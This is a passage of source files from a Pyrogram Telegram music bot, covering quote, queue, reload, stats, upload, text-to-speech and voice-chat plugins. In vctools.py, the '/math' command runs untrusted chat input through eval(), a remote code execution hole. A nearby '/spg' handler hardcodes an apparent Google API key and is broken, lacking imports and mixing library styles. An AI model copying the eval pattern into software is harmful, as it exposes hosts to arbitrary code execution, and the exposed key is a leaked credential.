return ctx.sender_chat.username
async def get_message_sender_photo(ctx: Message):
if ctx.forward_date:
if (
not ctx.forward_sender_name
and not ctx.forward_from
and ctx.forward_from_chat
and ctx.forward_from_chat.photo
):
return {
"small_file_id": ctx.forward_from_chat.photo.small_file_id,
"small_photo_unique_id": ctx.forward_from_chat.photo.small_photo_unique_id,
"big_file_id": ctx.forward_from_chat.photo.big_file_id,
"big_photo_unique_id": ctx.forward_from_chat.photo.big_photo_unique_id,
}
elif (
not ctx.forward_sender_name
and not ctx.forward_from
and ctx.forward_from_chat
or ctx.forward_sender_name
or not ctx.forward_from
):
return ""
else:
return (
{
"small_file_id": ctx.forward_from.photo.small_file_id,
"small_photo_unique_id": ctx.forward_from.photo.small_photo_unique_id,
"big_file_id": ctx.forward_from.photo.big_file_id,
"big_photo_unique_id": ctx.forward_from.photo.big_photo_unique_id,
}
if ctx.forward_from.photo
else ""
)
elif ctx.from_user and ctx.from_user.photo:
return {
"small_file_id": ctx.from_user.photo.small_file_id,
"small_photo_unique_id": ctx.from_user.photo.small_photo_unique_id,
"big_file_id": ctx.from_user.photo.big_file_id,
"big_photo_unique_id": ctx.from_user.photo.big_photo_unique_id,
}
elif (
ctx.from_user
or ctx.sender_chat
and not ctx.sender_chat.photo
or not ctx.sender_chat
):
return ""
else:
return {
"small_file_id": ctx.sender_chat.photo.small_file_id,
"small_photo_unique_id": ctx.sender_chat.photo.small_photo_unique_id,
"big_file_id": ctx.sender_chat.photo.big_file_id,
"big_photo_unique_id": ctx.sender_chat.photo.big_photo_unique_id,
}
async def get_text_or_caption(ctx: Message):
if ctx.text:
return ctx.text
elif ctx.caption:
return ctx.caption
else:
return ""
async def pyrogram_to_quotly(messages, is_reply):
if not isinstance(messages, list):
messages = [messages]
payload = {
"type": "quote",
"format": "png",
"backgroundColor": "#1b1429",
"messages": [],
}
for message in messages:
the_message_dict_to_append = {}
if message.entities:
the_message_dict_to_append["entities"] = [
{
"type": entity.type.name.lower(),
"offset": entity.offset,
"length": entity.length,
}
for entity in message.entities
]
elif message.caption_entities:
the_message_dict_to_append["entities"] = [
{
"type": entity.type.name.lower(),
"offset": entity.offset,
"length": entity.length,
}
for entity in message.caption_entities
]
else:
the_message_dict_to_append["entities"] = []
the_message_dict_to_append["chatId"] = await get_message_sender_id(message)
the_message_dict_to_append["text"] = await get_text_or_caption(message)
the_message_dict_to_append["avatar"] = True
the_message_dict_to_append["from"] = {}
the_message_dict_to_append["from"]["id"] = await get_message_sender_id(message)
the_message_dict_to_append["from"]["name"] = await get_message_sender_name(
message
)
the_message_dict_to_append["from"]["username"] = (
await get_message_sender_username(message)
)
the_message_dict_to_append["from"]["type"] = message.chat.type.name.lower()
the_message_dict_to_append["from"]["photo"] = await get_message_sender_photo(
message
)
if message.reply_to_message and is_reply:
the_message_dict_to_append["replyMessage"] = {
"name": await get_message_sender_name(message.reply_to_message),
"text": await get_text_or_caption(message.reply_to_message),
"chatId": await get_message_sender_id(message.reply_to_message),
}
else:
the_message_dict_to_append["replyMessage"] = {}
payload["messages"].append(the_message_dict_to_append)
r = await fetch.post("https://bot.lyo.su/quote/generate.png", json=payload)
if not r.is_error:
return r.read()
else:
raise QuotlyException(r.json())
def isArgInt(txt) -> list:
count = txt
try:
count = int(count)
return [True, count]
except ValueError:
return [False, 0]
@app.on_message(filters.command(["q", "r"]) & filters.reply)
async def msg_quotly_cmd(self: app, ctx: Message):
ww = await ctx.reply_text("ᴡᴀɪᴛ ᴀ sᴇᴄᴏɴᴅ......")
is_reply = False
if ctx.command[0].endswith("r"):
is_reply = True
if len(ctx.text.split()) > 1:
check_arg = isArgInt(ctx.command[1])
if check_arg[0]:
if check_arg[1] < 2 or check_arg[1] > 10:
await ww.delete()
return await ctx.reply_msg("Invalid range", del_in=6)
try:
messages = [
i
for i in await self.get_messages(
chat_id=ctx.chat.id,
message_ids=range(
ctx.reply_to_message.id,
ctx.reply_to_message.id + (check_arg[1] + 5),
),
replies=-1,
)
if not i.empty and not i.media
]
except Exception:
return await ctx.reply_text("🤷🏻♂️")
try:
make_quotly = await pyrogram_to_quotly(messages, is_reply=is_reply)
bio_sticker = BytesIO(make_quotly)
bio_sticker.name = "misskatyquote_sticker.webp"
await ww.delete()
return await ctx.reply_sticker(bio_sticker)
except Exception:
await ww.delete()
return await ctx.reply_msg("🤷🏻♂️")
try:
messages_one = await self.get_messages(
chat_id=ctx.chat.id, message_ids=ctx.reply_to_message.id, replies=-1
)
messages = [messages_one]
except Exception:
await ww.delete()
return await ctx.reply_msg("🤷🏻♂️")
try:
make_quotly = await pyrogram_to_quotly(messages, is_reply=is_reply)
bio_sticker = BytesIO(make_quotly)
bio_sticker.name = "misskatyquote_sticker.webp"
await ww.delete()
return await ctx.reply_sticker(bio_sticker)
except Exception as e:
await ww.delete()
return await ctx.reply_msg(f"ERROR: {e}")
__HELP__ = """
**ǫᴜᴏᴛᴇ ɢᴇɴᴇʀᴀᴛɪᴏɴ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs**
ᴜsᴇ ᴛʜᴇsᴇ ᴄᴏᴍᴍᴀɴᴅs ᴛᴏ ᴄʀᴇᴀᴛᴇ ǫᴜᴏᴛᴇs ғʀᴏᴍ ᴍᴇssᴀɢᴇs:
- `/q`: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴀ sɪɴɢʟᴇ ᴍᴇssᴀɢᴇ.
- `/r`: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴀ sɪɴɢʟᴇ ᴍᴇssᴀɢᴇ ᴀɴᴅ ɪᴛs ʀᴇᴘʟɪᴇᴅ ᴍᴇssᴀɢᴇ.
**ᴇxᴀᴍᴘʟᴇs:**
- `/q `: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ʀᴇᴘʟɪᴇᴅ ᴍᴇssᴀɢᴇs.
- `/r `: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ʀᴇᴘʟɪᴇᴅ ᴍᴇssᴀɢᴇs.
**ɴᴏᴛᴇ:**
ᴍᴀᴋᴇ sᴜʀᴇ ᴛᴏ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ ғᴏʀ ᴛʜᴇ ǫᴜᴏᴛᴇ ᴄᴏᴍᴍᴀɴᴅ ᴛᴏ ᴡᴏʀᴋ.
"""
__MODULE__ = "Qᴜᴏᴛᴇ"
================================================
FILE: BrandrdXMusic/plugins/tools/queue.py
================================================
import asyncio
import os
from pyrogram import filters
from pyrogram.errors import FloodWait
from pyrogram.types import CallbackQuery, InputMediaPhoto, Message
import config
from BrandrdXMusic import app
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils import HottyBin, get_channeplayCB, seconds_to_min
from BrandrdXMusic.utils.database import get_cmode, is_active_chat, is_music_playing
from BrandrdXMusic.utils.decorators.language import language, languageCB
from BrandrdXMusic.utils.inline import queue_back_markup, queue_markup
from config import BANNED_USERS
basic = {}
def get_image(videoid):
if os.path.isfile(f"cache/{videoid}.png"):
return f"cache/{videoid}.png"
else:
return config.YOUTUBE_IMG_URL
def get_duration(playing):
file_path = playing[0]["file"]
if "index_" in file_path or "live_" in file_path:
return "Unknown"
duration_seconds = int(playing[0]["seconds"])
if duration_seconds == 0:
return "Unknown"
else:
return "Inline"
@app.on_message(
filters.command(["queue", "cqueue", "player", "cplayer", "playing", "cplaying"])
& filters.group
& ~BANNED_USERS
)
@language
async def get_queue(client, message: Message, _):
if message.command[0][0] == "c":
chat_id = await get_cmode(message.chat.id)
if chat_id is None:
return await message.reply_text(_["setting_7"])
try:
await app.get_chat(chat_id)
except:
return await message.reply_text(_["cplay_4"])
cplay = True
else:
chat_id = message.chat.id
cplay = False
if not await is_active_chat(chat_id):
return await message.reply_text(_["general_5"])
got = db.get(chat_id)
if not got:
return await message.reply_text(_["queue_2"])
file = got[0]["file"]
videoid = got[0]["vidid"]
user = got[0]["by"]
title = (got[0]["title"]).title()
typo = (got[0]["streamtype"]).title()
DUR = get_duration(got)
if "live_" in file:
IMAGE = get_image(videoid)
elif "vid_" in file:
IMAGE = get_image(videoid)
elif "index_" in file:
IMAGE = config.STREAM_IMG_URL
else:
if videoid == "telegram":
IMAGE = (
config.TELEGRAM_AUDIO_URL
if typo == "Audio"
else config.TELEGRAM_VIDEO_URL
)
elif videoid == "soundcloud":
IMAGE = config.SOUNCLOUD_IMG_URL
else:
IMAGE = get_image(videoid)
send = _["queue_6"] if DUR == "Unknown" else _["queue_7"]
cap = _["queue_8"].format(app.mention, title, typo, user, send)
upl = (
queue_markup(_, DUR, "c" if cplay else "g", videoid)
if DUR == "Unknown"
else queue_markup(
_,
DUR,
"c" if cplay else "g",
videoid,
seconds_to_min(got[0]["played"]),
got[0]["dur"],
)
)
basic[videoid] = True
mystic = await message.reply_photo(IMAGE, caption=cap, reply_markup=upl)
if DUR != "Unknown":
try:
while db[chat_id][0]["vidid"] == videoid:
await asyncio.sleep(5)
if await is_active_chat(chat_id):
if basic[videoid]:
if await is_music_playing(chat_id):
try:
buttons = queue_markup(
_,
DUR,
"c" if cplay else "g",
videoid,
seconds_to_min(db[chat_id][0]["played"]),
db[chat_id][0]["dur"],
)
await mystic.edit_reply_markup(reply_markup=buttons)
except FloodWait:
pass
else:
pass
else:
break
else:
break
except:
return
@app.on_callback_query(filters.regex("GetTimer") & ~BANNED_USERS)
async def quite_timer(client, CallbackQuery: CallbackQuery):
try:
await CallbackQuery.answer()
except:
pass
@app.on_callback_query(filters.regex("GetQueued") & ~BANNED_USERS)
@languageCB
async def queued_tracks(client, CallbackQuery: CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
callback_request = callback_data.split(None, 1)[1]
what, videoid = callback_request.split("|")
try:
chat_id, channel = await get_channeplayCB(_, what, CallbackQuery)
except:
return
if not await is_active_chat(chat_id):
return await CallbackQuery.answer(_["general_5"], show_alert=True)
got = db.get(chat_id)
if not got:
return await CallbackQuery.answer(_["queue_2"], show_alert=True)
if len(got) == 1:
return await CallbackQuery.answer(_["queue_5"], show_alert=True)
await CallbackQuery.answer()
basic[videoid] = False
buttons = queue_back_markup(_, what)
med = InputMediaPhoto(
media="https://te.legra.ph/file/ba39a10ba20736f42f202.jpg",
caption=_["queue_1"],
)
await CallbackQuery.edit_message_media(media=med)
j = 0
msg = ""
for x in got:
j += 1
if j == 1:
msg += f'Streaming :\n\n✨ Title : {x["title"]}\nDuration : {x["dur"]}\nBy : {x["by"]}\n\n'
elif j == 2:
msg += f'Queued :\n\n✨ Title : {x["title"]}\nDuration : {x["dur"]}\nBy : {x["by"]}\n\n'
else:
msg += f'✨ Title : {x["title"]}\nDuration : {x["dur"]}\nBy : {x["by"]}\n\n'
if "Queued" in msg:
if len(msg) < 700:
await asyncio.sleep(1)
return await CallbackQuery.edit_message_text(msg, reply_markup=buttons)
if "✨" in msg:
msg = msg.replace("✨", "")
link = await HottyBin(msg)
med = InputMediaPhoto(media=link, caption=_["queue_3"].format(link))
await CallbackQuery.edit_message_media(media=med, reply_markup=buttons)
else:
await asyncio.sleep(1)
return await CallbackQuery.edit_message_text(msg, reply_markup=buttons)
@app.on_callback_query(filters.regex("queue_back_timer") & ~BANNED_USERS)
@languageCB
async def queue_back(client, CallbackQuery: CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
cplay = callback_data.split(None, 1)[1]
try:
chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery)
except:
return
if not await is_active_chat(chat_id):
return await CallbackQuery.answer(_["general_5"], show_alert=True)
got = db.get(chat_id)
if not got:
return await CallbackQuery.answer(_["queue_2"], show_alert=True)
await CallbackQuery.answer(_["set_cb_5"], show_alert=True)
file = got[0]["file"]
videoid = got[0]["vidid"]
user = got[0]["by"]
title = (got[0]["title"]).title()
typo = (got[0]["streamtype"]).title()
DUR = get_duration(got)
if "live_" in file:
IMAGE = get_image(videoid)
elif "vid_" in file:
IMAGE = get_image(videoid)
elif "index_" in file:
IMAGE = config.STREAM_IMG_URL
else:
if videoid == "telegram":
IMAGE = (
config.TELEGRAM_AUDIO_URL
if typo == "Audio"
else config.TELEGRAM_VIDEO_URL
)
elif videoid == "soundcloud":
IMAGE = config.SOUNCLOUD_IMG_URL
else:
IMAGE = get_image(videoid)
send = _["queue_6"] if DUR == "Unknown" else _["queue_7"]
cap = _["queue_8"].format(app.mention, title, typo, user, send)
upl = (
queue_markup(_, DUR, cplay, videoid)
if DUR == "Unknown"
else queue_markup(
_,
DUR,
cplay,
videoid,
seconds_to_min(got[0]["played"]),
got[0]["dur"],
)
)
basic[videoid] = True
med = InputMediaPhoto(media=IMAGE, caption=cap)
mystic = await CallbackQuery.edit_message_media(media=med, reply_markup=upl)
if DUR != "Unknown":
try:
while db[chat_id][0]["vidid"] == videoid:
await asyncio.sleep(5)
if await is_active_chat(chat_id):
if basic[videoid]:
if await is_music_playing(chat_id):
try:
buttons = queue_markup(
_,
DUR,
cplay,
videoid,
seconds_to_min(db[chat_id][0]["played"]),
db[chat_id][0]["dur"],
)
await mystic.edit_reply_markup(reply_markup=buttons)
except FloodWait:
pass
else:
pass
else:
break
else:
break
except:
return
================================================
FILE: BrandrdXMusic/plugins/tools/reload.py
================================================
import asyncio
import time
from pyrogram import filters
from pyrogram.enums import ChatMembersFilter
from pyrogram.types import CallbackQuery, Message
from BrandrdXMusic import app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils.database import get_assistant, get_authuser_names, get_cmode
from BrandrdXMusic.utils.decorators import ActualAdminCB, AdminActual, language
from BrandrdXMusic.utils.formatters import alpha_to_int, get_readable_time
from config import BANNED_USERS, adminlist, lyrical
rel = {}
@app.on_message(
filters.command(["admincache", "reload", "refresh"]) & filters.group & ~BANNED_USERS
)
@language
async def reload_admin_cache(client, message: Message, _):
try:
if message.chat.id not in rel:
rel[message.chat.id] = {}
else:
saved = rel[message.chat.id]
if saved > time.time():
left = get_readable_time((int(saved) - int(time.time())))
return await message.reply_text(_["reload_1"].format(left))
adminlist[message.chat.id] = []
async for user in app.get_chat_members(
message.chat.id, filter=ChatMembersFilter.ADMINISTRATORS
):
if user.privileges.can_manage_video_chats:
adminlist[message.chat.id].append(user.user.id)
authusers = await get_authuser_names(message.chat.id)
for user in authusers:
user_id = await alpha_to_int(user)
adminlist[message.chat.id].append(user_id)
now = int(time.time()) + 180
rel[message.chat.id] = now
await message.reply_text(_["reload_2"])
except:
await message.reply_text(_["reload_3"])
@app.on_message(filters.command(["reboot"]) & filters.group & ~BANNED_USERS)
@AdminActual
async def restartbot(client, message: Message, _):
mystic = await message.reply_text(_["reload_4"].format(app.mention))
await asyncio.sleep(1)
try:
db[message.chat.id] = []
await Hotty.stop_stream_force(message.chat.id)
except:
pass
userbot = await get_assistant(message.chat.id)
try:
if message.chat.username:
await userbot.resolve_peer(message.chat.username)
else:
await userbot.resolve_peer(message.chat.id)
except:
pass
chat_id = await get_cmode(message.chat.id)
if chat_id:
try:
got = await app.get_chat(chat_id)
except:
pass
userbot = await get_assistant(chat_id)
try:
if got.username:
await userbot.resolve_peer(got.username)
else:
await userbot.resolve_peer(chat_id)
except:
pass
try:
db[chat_id] = []
await Hotty.stop_stream_force(chat_id)
except:
pass
return await mystic.edit_text(_["reload_5"].format(app.mention))
@app.on_callback_query(filters.regex("close") & ~BANNED_USERS)
async def close_menu(_, CallbackQuery):
try:
await CallbackQuery.answer()
await CallbackQuery.message.delete()
await CallbackQuery.message.reply_text(
f"Cʟᴏsᴇᴅ ʙʏ : {CallbackQuery.from_user.mention}"
)
except:
pass
@app.on_callback_query(filters.regex("stop_downloading") & ~BANNED_USERS)
@ActualAdminCB
async def stop_download(client, CallbackQuery: CallbackQuery, _):
message_id = CallbackQuery.message.id
task = lyrical.get(message_id)
if not task:
return await CallbackQuery.answer(_["tg_4"], show_alert=True)
if task.done() or task.cancelled():
return await CallbackQuery.answer(_["tg_5"], show_alert=True)
if not task.done():
try:
task.cancel()
try:
lyrical.pop(message_id)
except:
pass
await CallbackQuery.answer(_["tg_6"], show_alert=True)
return await CallbackQuery.edit_message_text(
_["tg_7"].format(CallbackQuery.from_user.mention)
)
except:
return await CallbackQuery.answer(_["tg_8"], show_alert=True)
await CallbackQuery.answer(_["tg_9"], show_alert=True)
================================================
FILE: BrandrdXMusic/plugins/tools/speedtest.py
================================================
import asyncio
import speedtest
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.decorators.language import language
def testspeed(m, _):
try:
test = speedtest.Speedtest()
test.get_best_server()
m = m.edit_text(_["server_12"])
test.download()
m = m.edit_text(_["server_13"])
test.upload()
test.results.share()
result = test.results.dict()
m = m.edit_text(_["server_14"])
except Exception as e:
return m.edit_text(f"{e}")
return result
@app.on_message(filters.command(["speedtest", "spt"]) & SUDOERS)
@language
async def speedtest_function(client, message: Message, _):
m = await message.reply_text(_["server_11"])
loop = asyncio.get_event_loop()
result = await loop.run_in_executor(None, testspeed, m, _)
output = _["server_15"].format(
result["client"]["isp"],
result["client"]["country"],
result["server"]["name"],
result["server"]["country"],
result["server"]["cc"],
result["server"]["sponsor"],
result["server"]["latency"],
result["ping"],
)
msg = await message.reply_photo(photo=result["share"], caption=output)
await m.delete()
================================================
FILE: BrandrdXMusic/plugins/tools/stats.py
================================================
import platform
from sys import version as pyver
import psutil
from pyrogram import __version__ as pyrover
from pyrogram import filters
from pyrogram.errors import MessageIdInvalid
from pyrogram.types import InputMediaPhoto, Message
from pytgcalls.__version__ import __version__ as pytgver
import config
from BrandrdXMusic import app
from BrandrdXMusic.core.userbot import assistants
from BrandrdXMusic.misc import SUDOERS, mongodb
from BrandrdXMusic.plugins import ALL_MODULES
from BrandrdXMusic.utils.database import get_served_chats, get_served_users, get_sudoers, get_queries
from BrandrdXMusic.utils.decorators.language import language, languageCB
from BrandrdXMusic.utils.inline.stats import back_stats_buttons, stats_buttons
from config import BANNED_USERS
@app.on_message(filters.command(["stats", "gstats"]) & filters.group & ~BANNED_USERS)
@language
async def stats_global(client, message: Message, _):
upl = stats_buttons(_, True if message.from_user.id in SUDOERS else False)
await message.reply_photo(
photo=config.STATS_IMG_URL,
caption=_["gstats_2"].format(app.mention),
reply_markup=upl,
)
@app.on_callback_query(filters.regex("stats_back") & ~BANNED_USERS)
@languageCB
async def home_stats(client, CallbackQuery, _):
upl = stats_buttons(_, True if CallbackQuery.from_user.id in SUDOERS else False)
await CallbackQuery.edit_message_text(
text=_["gstats_2"].format(app.mention),
reply_markup=upl,
)
@app.on_callback_query(filters.regex("TopOverall") & ~BANNED_USERS)
@languageCB
async def overall_stats(client, CallbackQuery, _):
await CallbackQuery.answer()
upl = back_stats_buttons(_)
try:
await CallbackQuery.answer()
except:
pass
await CallbackQuery.edit_message_text(_["gstats_1"].format(app.mention))
served_chats = len(await get_served_chats())
served_users = len(await get_served_users())
total_queries = await get_queries()
text = _["gstats_3"].format(
app.mention,
len(assistants),
len(BANNED_USERS),
served_chats,
served_users,
total_queries,
len(ALL_MODULES),
len(SUDOERS),
config.AUTO_LEAVING_ASSISTANT,
config.DURATION_LIMIT_MIN,
)
med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text)
try:
await CallbackQuery.edit_message_media(media=med, reply_markup=upl)
except MessageIdInvalid:
await CallbackQuery.message.reply_photo(
photo=config.STATS_IMG_URL, caption=text, reply_markup=upl
)
@app.on_callback_query(filters.regex("bot_stats_sudo"))
@languageCB
async def bot_stats(client, CallbackQuery, _):
if CallbackQuery.from_user.id not in SUDOERS:
return await CallbackQuery.answer(_["gstats_4"], show_alert=True)
upl = back_stats_buttons(_)
try:
await CallbackQuery.answer()
except:
pass
await CallbackQuery.edit_message_text(_["gstats_1"].format(app.mention))
p_core = psutil.cpu_count(logical=False)
t_core = psutil.cpu_count(logical=True)
ram = str(round(psutil.virtual_memory().total / (1024.0**3))) + " ɢʙ"
try:
cpu_freq = psutil.cpu_freq().current
if cpu_freq >= 1000:
cpu_freq = f"{round(cpu_freq / 1000, 2)}ɢʜᴢ"
else:
cpu_freq = f"{round(cpu_freq, 2)}ᴍʜᴢ"
except:
cpu_freq = "ғᴀɪʟᴇᴅ ᴛᴏ ғᴇᴛᴄʜ"
hdd = psutil.disk_usage("/")
total = hdd.total / (1024.0**3)
used = hdd.used / (1024.0**3)
free = hdd.free / (1024.0**3)
call = await mongodb.command("dbstats")
datasize = call["dataSize"] / 1024
storage = call["storageSize"] / 1024
served_chats = len(await get_served_chats())
served_users = len(await get_served_users())
text = _["gstats_5"].format(
app.mention,
len(ALL_MODULES),
platform.system(),
ram,
p_core,
t_core,
cpu_freq,
pyver.split()[0],
pyrover,
pytgver,
str(total)[:4],
str(used)[:4],
str(free)[:4],
served_chats,
served_users,
len(BANNED_USERS),
len(await get_sudoers()),
str(datasize)[:6],
storage,
call["collections"],
call["objects"],
)
med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text)
try:
await CallbackQuery.edit_message_media(media=med, reply_markup=upl)
except MessageIdInvalid:
await CallbackQuery.message.reply_photo(
photo=config.STATS_IMG_URL, caption=text, reply_markup=upl
)
================================================
FILE: BrandrdXMusic/plugins/tools/telegraph.py
================================================
import os
from pyrogram import filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from BrandrdXMusic import app
import requests
def upload_file(file_path):
url = "https://catbox.moe/user/api.php"
data = {"reqtype": "fileupload", "json": "true"}
files = {"fileToUpload": open(file_path, "rb")}
response = requests.post(url, data=data, files=files)
if response.status_code == 200:
return True, response.text.strip()
else:
return False, f"ᴇʀʀᴏʀ: {response.status_code} - {response.text}"
@app.on_message(filters.command(["tgm", "tgt", "telegraph", "tl"]))
async def get_link_group(client, message):
if not message.reply_to_message:
return await message.reply_text(
"Pʟᴇᴀsᴇ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇᴅɪᴀ ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴏɴ Tᴇʟᴇɢʀᴀᴘʜ"
)
media = message.reply_to_message
file_size = 0
if media.photo:
file_size = media.photo.file_size
elif media.video:
file_size = media.video.file_size
elif media.document:
file_size = media.document.file_size
if file_size > 200 * 1024 * 1024:
return await message.reply_text("Pʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴀ ᴍᴇᴅɪᴀ ғɪʟᴇ ᴜɴᴅᴇʀ 200MB.")
try:
text = await message.reply("Pʀᴏᴄᴇssɪɴɢ...")
async def progress(current, total):
try:
await text.edit_text(f"📥 Dᴏᴡɴʟᴏᴀᴅɪɴɢ... {current * 100 / total:.1f}%")
except Exception:
pass
try:
local_path = await media.download(progress=progress)
await text.edit_text("📤 Uᴘʟᴏᴀᴅɪɴɢ ᴛᴏ ᴛᴇʟᴇɢʀᴀᴘʜ...")
success, upload_path = upload_file(local_path)
if success:
await text.edit_text(
f"🌐 | [ᴜᴘʟᴏᴀᴅᴇᴅ ʟɪɴᴋ]({upload_path})",
reply_markup=InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"ᴜᴘʟᴏᴀᴅᴇᴅ ғɪʟᴇ",
url=upload_path,
)
]
]
),
)
else:
await text.edit_text(
f"ᴀɴ ᴇʀʀᴏʀ ᴏᴄᴄᴜʀʀᴇᴅ ᴡʜɪʟᴇ ᴜᴘʟᴏᴀᴅɪɴɢ ʏᴏᴜʀ ғɪʟᴇ\n{upload_path}"
)
try:
os.remove(local_path)
except Exception:
pass
except Exception as e:
await text.edit_text(f"❌ Fɪʟᴇ ᴜᴘʟᴏᴀᴅ ғᴀɪʟᴇᴅ\n\nRᴇᴀsᴏɴ: {e}")
try:
os.remove(local_path)
except Exception:
pass
return
except Exception:
pass
__HELP__ = """
**ᴛᴇʟᴇɢʀᴀᴘʜ ᴜᴘʟᴏᴀᴅ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs**
ᴜsᴇ ᴛʜᴇsᴇ ᴄᴏᴍᴍᴀɴᴅs ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴍᴇᴅɪᴀ ᴛᴏ ᴛᴇʟᴇɢʀᴀᴘʜ:
- `/tgm`: ᴜᴘʟᴏᴀᴅ ʀᴇᴘʟɪᴇᴅ ᴍᴇᴅɪᴀ ᴛᴏ ᴛᴇʟᴇɢʀᴀᴘʜ.
- `/tgt`: sᴀᴍᴇ ᴀs `/tgm`.
- `/telegraph`: sᴀᴍᴇ ᴀs `/tgm`.
- `/tl`: sᴀᴍᴇ ᴀs `/tgm`.
**ᴇxᴀᴍᴘʟᴇ:**
- ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴘʜᴏᴛᴏ ᴏʀ ᴠɪᴅᴇᴏ ᴡɪᴛʜ `/tgm` ᴛᴏ ᴜᴘʟᴏᴀᴅ ɪᴛ.
**ɴᴏᴛᴇ:**
ʏᴏᴜ ᴍᴜsᴛ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇᴅɪᴀ ғɪʟᴇ ғᴏʀ ᴛʜᴇ ᴜᴘʟᴏᴀᴅ ᴛᴏ ᴡᴏʀᴋ.
"""
__MODULE__ = "Tᴇʟᴇɢʀᴀᴘʜ"
================================================
FILE: BrandrdXMusic/plugins/tools/tts.py
================================================
import io
from gtts import gTTS
from pyrogram import filters
from BrandrdXMusic import app
@app.on_message(filters.command("tts"))
async def text_to_speech(client, message):
if len(message.command) < 2:
return await message.reply_text(
"Please provide some text to convert to speech."
)
text = message.text.split(None, 1)[1]
tts = gTTS(text, lang="hi")
audio_data = io.BytesIO()
tts.write_to_fp(audio_data)
audio_data.seek(0)
audio_file = io.BytesIO(audio_data.read())
audio_file.name = "audio.mp3"
await message.reply_audio(audio_file)
__HELP__ = """
**ᴛᴇxᴛ ᴛᴏ sᴘᴇᴇᴄʜ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅ**
ᴜsᴇ ᴛʜᴇ `/tts` ᴄᴏᴍᴍᴀɴᴅ ᴛᴏ ᴄᴏɴᴠᴇʀᴛ ᴛᴇxᴛ ɪɴᴛᴏ sᴘᴇᴇᴄʜ.
- `/tts <ᴛᴇxᴛ>`: ᴄᴏɴᴠᴇʀᴛs ᴛʜᴇ ɢɪᴠᴇɴ ᴛᴇxᴛ ᴛᴏ sᴘᴇᴇᴄʜ ɪɴ ʜɪɴᴅɪ.
**ᴇxᴀᴍᴘʟᴇ:**
- `/tts Namaste Duniya`
**ɴᴏᴛᴇ:**
ᴍᴀᴋᴇ sᴜʀᴇ ᴛᴏ ᴘʀᴏᴠɪᴅᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴀғᴛᴇʀ ᴛʜᴇ `/tts` ᴄᴏᴍᴍᴀɴᴅ.
"""
__MODULE__ = "Tᴛs"
================================================
FILE: BrandrdXMusic/plugins/tools/vctools.py
================================================
from pyrogram import Client, filters
from pyrogram.types import Message
from BrandrdXMusic import app
from pyrogram import *
from pyrogram.types import *
from config import OWNER_ID
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from pyrogram.raw.functions.phone import CreateGroupCall, DiscardGroupCall
from pyrogram.raw.types import InputGroupCall
from BrandrdXMusic.utils.database import get_assistant
from telethon.tl.functions.phone import (
CreateGroupCallRequest,
DiscardGroupCallRequest,
GetGroupCallRequest,
InviteToGroupCallRequest,
)
# vc on
@app.on_message(filters.video_chat_started)
async def brah(_, msg):
await msg.reply("**😍ᴠɪᴅᴇᴏ ᴄʜᴀᴛ sᴛᴀʀᴛᴇᴅ🥳**")
# vc off
@app.on_message(filters.video_chat_ended)
async def brah2(_, msg):
await msg.reply("**😕ᴠɪᴅᴇᴏ ᴄʜᴀᴛ ᴇɴᴅᴇᴅ💔**")
# invite members on vc
@app.on_message(filters.video_chat_members_invited)
async def brah3(app: app, message: Message):
text = f"➻ {message.from_user.mention}\n\n**๏ ɪɴᴠɪᴛɪɴɢ ɪɴ ᴠᴄ ᴛᴏ :**\n\n**➻ **"
x = 0
for user in message.video_chat_members_invited.users:
try:
text += f"[{user.first_name}](tg://user?id={user.id}) "
x += 1
except Exception:
pass
try:
invite_link = await app.export_chat_invite_link(message.chat.id)
add_link = f"https://t.me/{app.username}?startgroup=true"
reply_text = f"{text} 🤭🤭"
await message.reply(
reply_text,
reply_markup=InlineKeyboardMarkup(
[
[InlineKeyboardButton(text="๏ ᴊᴏɪɴ ᴠᴄ ๏", url=add_link)],
]
),
)
except Exception as e:
print(f"Error: {e}")
####
@app.on_message(filters.command("math", prefixes="/"))
def calculate_math(client, message):
expression = message.text.split("/math ", 1)[1]
try:
result = eval(expression)
response = f"ᴛʜᴇ ʀᴇsᴜʟᴛ ɪs : {result}"
except:
response = "ɪɴᴠᴀʟɪᴅ ᴇxᴘʀᴇssɪᴏɴ"
message.reply(response)
@app.on_message(filters.command(["spg"], ["/", "!", "."]))
async def search(event):
msg = await event.respond("Searching...")
async with aiohttp.ClientSession() as session:
start = 1
async with session.get(
f"https://content-customsearch.googleapis.com/customsearch/v1?cx=ec8db9e1f9e41e65e&q={event.text.split()[1]}&key=AIzaSyAa8yy0GdcGPHdtD083HiGGx_S0vMPScDM&start={start}",
headers={"x-referer": "https://explorer.apis.google.com"},
) as r:
response = await r.json()
result = ""
if not response.get("items"):
return await msg.edit("No results found!")
for item in response["items"]:
title = item["title"]
link = item["link"]
if "/s" in item["link"]:
link = item["link"].replace("/s", "")
elif re.search(r"\/\d", item["link"]):
link = re.sub(r"\/\d", "", item["link"])
if "?" in link:
link = link.split("?")[0]
if link in result:
# remove duplicates
continue
